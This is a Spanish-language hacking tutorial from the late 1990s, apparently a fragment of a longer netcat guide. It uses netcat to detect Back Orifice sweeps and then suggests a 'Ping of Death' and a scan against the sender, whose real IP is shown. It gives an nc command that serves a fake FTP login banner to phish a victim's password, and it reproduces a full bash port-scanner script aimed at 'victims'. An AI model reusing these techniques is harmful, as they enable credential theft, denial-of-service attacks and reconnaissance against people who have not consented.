C: c11nt>nc -u -v -v -L -p 31337 127.0.0.1 31337
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 31337 ...

invalid connection to [0.0.0.0] from nas1-064.ras.bqm.cantv.net
[161.196.246.65] 31338

Back Orifice utiliza el protocolo UDP para realizar sus travesuras, realiza la conección desde un puerto aleatorio (casi siempre el 1080) aunque en este caso lo hizo desde el 31338 (posiblemente una variante de BO), por eso se utiliza la opción -u (protocolo udp) , netcat se queda esperando conecciones UDP en el puerto 31337 (default de BO) , cuando alguien hace un sweep a tu IP netcat lo detecta enviando a pantalla el IP y el DNS del agresor...
Luego un pequeño "Ping of Death" (Nuke) para el transgresor y le hacen un Scan para ver cuando desaparece B-]

nas1-064.ras.bqm.cantv.net [161.196.246.65] 48 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 47 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 46 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 45 (?): TIMEDOUT
nas1-064.ras.bqm.cantv.net [161.196.246.65] 44 (?): TIMEDOUT<--Chao!!! Jeje!!



Otros usos Miscelaneos:
===================

Puedes utilizar algo de ingienería social para capturar algunos passwords con netcat, por ejemplo, si una máquina no tiene abierto el puerto de FTP o de telnet, creas un archivo de texto que solicite el ID y el Password de la víctima; algo así:

Microsoft Internet FTP Server V.5.9 [Beta]
04/16/99 myhost.com
Please introduce Username, password and press "Enter"
LogOn:

Luego redireccionas el archivo hacia la victima:

C: c11nt>nc -v -v -L -p 21 nombre del host -t < login.txt

Si el tonto cae... Ahí va tu password, Jeje!! B-] un poco de imaginación y maña te permitirán encontrar muchas utilidades para netcat.

Netcat en Vez de Telnet.
====================

Yo personalmente prefiero usar netcat para realizar connecciones remotas como alternativa al Telnet. la ventaja de realizar conecciones telnet desde netcat es que este esconde "algo" sobre tu conección, lo que lo hace mas "sigiloso" que telnet, (de ahí por que lo llamaron netcat), Realizando una conección "Limpia" en determinado puerto, obviando las negociaciones comunes de Telnet que pueden confundir al cliente en determinados casos, como por ejemplo, al utilizar ciertas Backdoors muy conocidas en Unix.

OJO: algunas máquinas interpretan al cliente de telnet y asumen el nombre del usuario que lo utiliza, de allí el porqué algunos servidores solo preguntan por password ; teoricamente netcat no envia esta información. Por eso, es recomendable acostumbrarse a utilizar netcat para hacer conecciones remotas:

c:> nc -v nombre del host 23(o el puerto de tu preferencia)

Netcat y Programación:
====================

Esta combinación desencadena todo el Poder de Netcat en su máxima expresión; Tratandose de una herramienta que funciona con lineas de comandos, su integración con un lenguaje de programación le permite realizar gran cantidad de tareas, y posibilidades se van descubriendo dia a dia con su inclusión en nuevos Scripts y Exploits.
Muchos ScriptKiddies que no tienen idea de lo que hacen, se sienten frustrados porque muchos de los Scripts y Exploits que bajan de la Red simplemente no les funciona, porque no saben interpretar el Código y por lo tanto son incapaces de efectuar las modificaciones necesarias para incluir librerias, paths o utilidades necesarias para su funcionamiento. (Jódanse ScriptKiddies!!! Jajaja!!)
Netcat es exelente para implementar exploits remotos, permitiendo enviar el código a cualquier puerto vulnerable con una simple orden, logrando ejecutar todos los comandos necesarios para explotar determinados servicios.
Varios exploits que circulan actualmente en la Red, usan a netcat como "motor" para manejar las conecciones, si analizamos el código de estos programas podemos observar un nc por ahí, esto significa que el Proggie en cuestión necesita una versión correctamente compilada de netcat en el directorio /usr/bin . A continuación un pequeño programa realizado por el Doctor_X de Hven utilizando a netcat:

<---------- Hven Port Scanner!! ------>

# !/bin/bash
# Scanner de Puertos
# By DoctorX 17/04/99 email: [email protected]
# Zona de Bacterias http://bactery.8m.com
# Hackers de Venezuela http://www.hackhour.com.br/hven
# Este es un shell script hecho por mi para la verificacion de
# conexiones a un host utilizando netcat.

# Declaracion de Variables

export NETCAT=" nc -v -v -w 8 -z "
export RANGO=$2
LOCALHOST=$(uname -n)
export PUERTOS="21 23 25 79 80 110 111 113 139 143 513 514 515 6000 31337"
export MEM1="Scanner de Puertos "
export MEM2="by "
export MEM22="para Hackers Venezuela"
export MEM3="Victima : "
export MEM4="Falta el GateWay para el Source Routing !!!!!!"
export MEM5="Te van a pillar !!!!!!! $USER jejejejeje "
export MEM6="Local Host : $LOCALHOST "
export MEM7="UDP Scan "
export MEM8="http://www.hackhour.com.br/hven"
export re="[5m"
export cl="[0m"
export rojo="[31m"
export email="email:[email protected]"

# Declaracion de Funciones

# Mensaje cuando no se le dan Parametros

function mem() {
local uso="uso :$0 [opcion] "
local DRX="DoctorX"
echo $MEM1
echo $MEM2 ${rojo}$DRX${cl} $MEM22
echo $MEM8
echo ${rojo}$uso${cl}
echo " :IP/HOSTNAME de La Victima jejejeje "
echo " :source-routing , es opcional "
echo "opciones : "
echo "u :esta opcion de utiliza para hacer scan udp"
echo "so :Determinacion de SO de servidores Web"
echo "r rango_de_puertos :Cambia el rango de puertos por defecto :plow-phi" && exit ; }

# Mensaje Inicial

function mem2() {
VICTIMA=$1
echo $MEM1
echo $MEM2 ${rojo}DoctorX${cl} $MEM22
echo $MEM3 $VICTIMA
echo $MEM6 ; }

# Mensaje 2

function mem_web() {
mem_web1="Hackers Venezuela"
mem_web2="By"
mem_web3="Victima : "
VICTIMA=$1
mem_web4="Determinacion de SO en Web Servers"
echo $mem_web1
echo $mem_web4
echo $mem_web2 ${rojo}DoctorX${cl} $email
echo $mem_web3 $VICTIMA ;}


# Scan Tcp

function tcp() {
HOST=$1
$NETCAT $HOST $PUERTOS ; }

# Scan Tcp con Rango

function tcp_rango() {
HOST=$2
RANGO=$1
$NETCAT $HOST $RANGO ; }

# Scan UDP


function udp() {
VICTIMA=$1
echo $MEM7
$NETCAT -u $VICTIMA $PUERTOS ; }

# Scan UDP con gateway

function udp_gateway() {
echo $MEM7
VICTIMA=$2
GATE=$1
NETCAT_GATE="nc -v -v -z -u $VICTIMA -g $GATE "
$NETCAT_GATE $PUERTOS ; }

# Scan con Source Routing

function tcp_gateway() {
GATE=$1
HOST=$2
RANGO=$PUERTOS
echo "Gate : $GATE "
$NETCAT -g $GATE $HOST $RANGO ; }

# Advertencia

function adv() {
local MEM4="Falta el GateWay para el Source Routing !!!!!!"
local MEM5="Te van a pillar !!!!!!! $USER jejejejeje "
echo ${rojo}$MEM4${cl}
echo ${re}${rojo}$MEM5${cl} ; }

# Determinacion de SO

function web_so() {
NC="nc -w "
HTTPPORT="80"
GET="GET /"
ECHO="/bin/echo"
HEAD="HEAD / HTPP/1.0"
HTTPVARIABLE="Server:"
WEB_SERVER="$1"
LOG="salida.txt"
#CHECKHTTP=( echo $GET ; sleep 5)| $NETCAT $VICTIMA 80
( echo $HEAD ; echo ; echo ) | $NC 8 $WEB_SERVER $HTTPPORT | grep $HTTPVARIABLE | cut -d: -f2 1> $LOG cat $LOG
rm -f $LOG ;}

# Seleccion de Opcion

case $# in 0 ) mem ;;
1 ) mem2 $1 ;
adv ;
tcp $1 ;;
3 ) if [ "$1" !=
"r" ]; then
mem2 $2
udp_gateway $3 $2
else { mem2 $3
adv
tcp_rango $2 $3 ;}
fi ;;
2 ) if [ "$1" !=
"u" ] ; then
if [ "$1" != "so" ] ; then
{ mem2 $1
# adv
tcp_gateway $2 $1 ;}
else { mem_web $2
web_so $2 ;}
fi
else { export HOST=$2
mem2 $HOST
udp $2
exit 0 ;}
fi ;
esac

<------- Fin del Hven-Scanner, cortar aquí --------->


Conclusión:
============

Si estudiamos detalladamente las variables, el misterio de netcat desaparece, viene la parte de la imaginación; ¿Que otras funciones le podemos asignar? ¿Que mas podría hacer? ; al revisar el programa que envió Dr._X me dije: "Lógico! Hmmm... Y que tal si hacemos asi..." ; el hacking no es más que probar nuevas posibilidades, utilizando el ingenio, los conocimientos acumulados y una dosis bastante fuerte de imaginación podremos lograr loque queramos. :)

 

 

 

 

Hosted by www.Geocities.ws

1